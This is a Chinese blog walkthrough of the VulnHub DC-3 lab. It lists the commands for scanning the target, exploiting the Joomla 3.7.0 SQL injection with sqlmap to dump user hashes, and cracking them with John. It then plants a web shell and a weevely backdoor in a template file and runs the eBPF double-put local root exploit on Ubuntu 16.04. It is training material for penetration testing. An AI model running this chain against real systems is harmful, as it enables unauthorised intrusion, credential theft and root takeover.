vulnhub系列靶机--DC3

vulnhub系列靶机–DC3

主机发现:

先主机发现找到靶机的ip

使用nmap

nmap -sP 192.168.211.0/24

netdiscover -r 192.168.211.1/24

在这里插入图片描述

根据MAC地址可以确定靶机的ip为192.168.211.136

然后扫描该ip所开放的端口服务

nmap -A 192.168.211.136 -p 1-65535
在这里插入图片描述
发现靶机只开放了80端口,访问但没有任何线索

在这里插入图片描述
使用Nikto扫描网站目录

在这里插入图片描述

发现了后台登陆界面http://192.168.211.136/administrator/

在这里插入图片描述

这时我们要对网站进行指纹识别

whatweb 192.168.211.136

在这里插入图片描述
发现网站框架是Joomla

然后我们可以使用joomscan扫描joomla网站

joomscan -u http://192.168.211.136

在这里插入图片描述

我们扫出了Joomla版本等信息

然后搜索Joomla3.7.0的漏洞 searchsploit Joomla 3.7.0

在这里插入图片描述
发现一个SQL注入漏洞

将漏洞信息保存到本地

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla_sql.txt

在这里插入图片描述
得到了注入点等信息
在这里插入图片描述
sqlmap -u “http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述
我们成功获取了数据库

–current-db获取当前数据库

在这里插入图片描述
-D “joomladb” --tables

获取该数据库下的表名

在这里插入图片描述

-D “joomladb” -T “#__users” --columns获取#_user 中的列名

在这里插入图片描述
-D “joomladb” -T “#__users” -C “name,password” --dump获取字段

在这里插入图片描述

然后将密码解密

先将密码写入一个文件里面,然后使用John解密

解密出密码是Snoopy

在这里插入图片描述
成功进入后台

在这里插入图片描述
发现可以查看源码

在这里插入图片描述
http://192.168.211.136/templates/beez3/html/2.php中写入一句话木马,然后使用蚁剑连接

在这里插入图片描述
模拟终端

在这里插入图片描述
反弹shell

weevely generate 123456 shell1.php

密码:123456

脚本文件名:shell.php

在这里插入图片描述
将脚本上传到网站上

在这里插入图片描述

kali上面连接

weevely http://192.168.211.136/templates/beez3/html/shell1.php 123456 成功获取shell
在这里插入图片描述
接下来提权

www-data用户,主机Ubuntu 16.04 内核 4.4.0-21

在kali里面搜索这个版本漏洞searchsploit Ubuntu 16.04

在这里插入图片描述

查看漏洞介绍

cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu-1604-shell.txt

cat ubuntu-1604-shell.txt

在这里插入图片描述
下载exp,将里面的exploit.tar上传,并解压运行

在这里插入图片描述

unzip 39772.zip #解压29772.zip文件

cd 39772

tar -xvf exploit.tar #解压exploit提权脚本tar包

cd ebpf_mapfd_doubleput_exploit

在这里插入图片描述

编译代码

./compile.sh #执行脚本,编译文件

在这里插入图片描述
./doubleput #执行提权文件

在这里插入图片描述
获得root权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值